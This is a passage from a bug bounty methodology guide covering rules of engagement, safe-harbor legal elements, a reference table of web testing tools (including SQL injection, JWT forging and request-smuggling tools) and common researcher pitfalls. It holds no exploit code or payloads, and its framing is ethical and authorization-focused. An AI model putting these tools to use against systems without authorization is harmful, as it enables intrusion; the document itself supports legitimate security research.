  • Perform denial of service attacks
  • Access or exfiltrate user data beyond minimal PoC
  • Pivot to internal networks without explicit permission
  • Social engineer employees
  • Destroy or modify data
  • Use automated scanners without program permission
  • Publicly disclose before vendor approval
  • Submit automated/mass scanner reports without validation
  • Test from multiple accounts to bypass rate limits (unless allowed)

Safe Harbor & Legal Protection​

Reference framework — disclose.io's "Full Safe Harbor" requires four elements:

  1. Authorisation against anti-hacking laws (CFAA in the U.S., Computer Misuse Act in the UK, equivalent)
  2. Exemption from anti-circumvention laws (DMCA §1201, equivalent)
  3. Exemption from violating the operator's own ToS during good-faith research
  4. Explicit good-faith research clause

If a program's policy is missing any of these, your protection is incomplete — escalate to the program before testing high-impact classes.

Before testing:

  • Verify program has a safe-harbor clause covering all four elements above
  • Confirm authorization is explicit in program policy (not implied)
  • Use dedicated testing infrastructure (OPSEC — VPN, isolated VM, dedicated browser profile)
  • Keep detailed logs of all testing activity (timestamps, requests, responses) — a collection log protects both the researcher and the program
  • Stop immediately if legal contact is received

If threatened legally:

  • Cease all testing immediately
  • Do not delete evidence — preservation supports a good-faith defence
  • Contact program coordinator (if via platform)
  • Consult legal counsel familiar with computer-fraud law in your jurisdiction
  • Provide cooperation with good-faith disclosure evidence

Open templates & directories:

10. Tools Reference​

ToolPurposeLink
Burp SuiteWeb proxy & scannerportswigger.net/burp
OWASP ZAPFree web scannerzaproxy.org
CaidoModern Burp alternative (Rust, lighter)caido.io
NucleiTemplate-based scanner (templates under http/, dast/, cloud/)github.com/projectdiscovery/nuclei
FfufFast fuzzergithub.com/ffuf/ffuf
FeroxbusterRecursive content discovery (Rust)github.com/epi052/feroxbuster
KatanaModern crawler (active + passive sources)github.com/projectdiscovery/katana
SQLMapSQL injection toolsqlmap.org
SubfinderSubdomain discoverygithub.com/projectdiscovery/subfinder
AmassAttack surface mappinggithub.com/owasp-amass/amass
LinkFinderJS endpoint extraction (python linkfinder.py)github.com/GerbenJavado/LinkFinder
GitDorkerGitHub dorks for secretsgithub.com/obheda12/GitDorker
TruffleHog v3Git/SCM secret detection (active)github.com/trufflesecurity/trufflehog
GitleaksGit/file/stdin secret detection (active)github.com/gitleaks/gitleaks
ArjunParameter discoverygithub.com/s0md3v/Arjun
ParamSpiderWayback-derived parameter mining (paramspider -d ...)github.com/devanshbatham/ParamSpider
webanalyzeOpen-source Wappalyzer port (Wappalyzer CLI/extension is closed/discontinued)github.com/rverton/webanalyze
jwt_toolJWT analysis / forging / scanninggithub.com/ticarpi/jwt_tool
HTTP Request SmugglerBurp extension for CL.TE / TE.CL / H2.* smugglinggithub.com/PortSwigger/http-request-smuggler
Param MinerBurp extension for unkeyed-input / cache-poisoning discoverygithub.com/PortSwigger/param-miner
DOM InvaderBuilt-in Burp extension for DOM XSS & client-side prototype pollutionportswigger.net/burp/documentation/desktop/tools/dom-invader
Turbo IntruderBurp extension for high-throughput / single-packet attacksgithub.com/PortSwigger/turbo-intruder

Deprecated / archived (avoid):

  • Gitrob — archived 2023-01-13 (github.com/michenriksen/gitrob); use TruffleHog or Gitleaks
  • DumpsterDiver — archived 2025-02-21; functional equivalents in TruffleHog / Gitleaks rule sets
  • Wappalyzer CLI / wappy — Wappalyzer went closed-source in 2023; the open-source extension was discontinued. Use webanalyze.

11. Common Pitfalls​

  • ❌ Testing without reading program rules thoroughly
  • ❌ Submitting low-quality reports (no PoC, vague steps)
  • ❌ Reporting known issues (duplicates waste time)
  • ❌ Using automated scanner output without validation
  • ❌ Expecting instant responses (triage takes time)
  • ❌ Arguing with triage decisions
  • ❌ Testing production with destructive payloads
  • ❌ Not sanitizing PII in reports
  • ❌ Submitting informational issues as critical
  • ❌ Ignoring scope restrictions ("but it's a vulnerability!")
  • ❌ Burning out by focusing only on high-competition programs

Methodology & Authorization:

  • Legal & Ethics — Canonical jurisdiction-by-jurisdiction guidance (CFAA, CMA, GDPR, anti-circumvention)
  • OPSEC — Researcher infrastructure isolation, identity hygiene, evidence handling
  • Collection Log — Defensible activity log format for testing sessions

Analysis:

Pentesting & Security: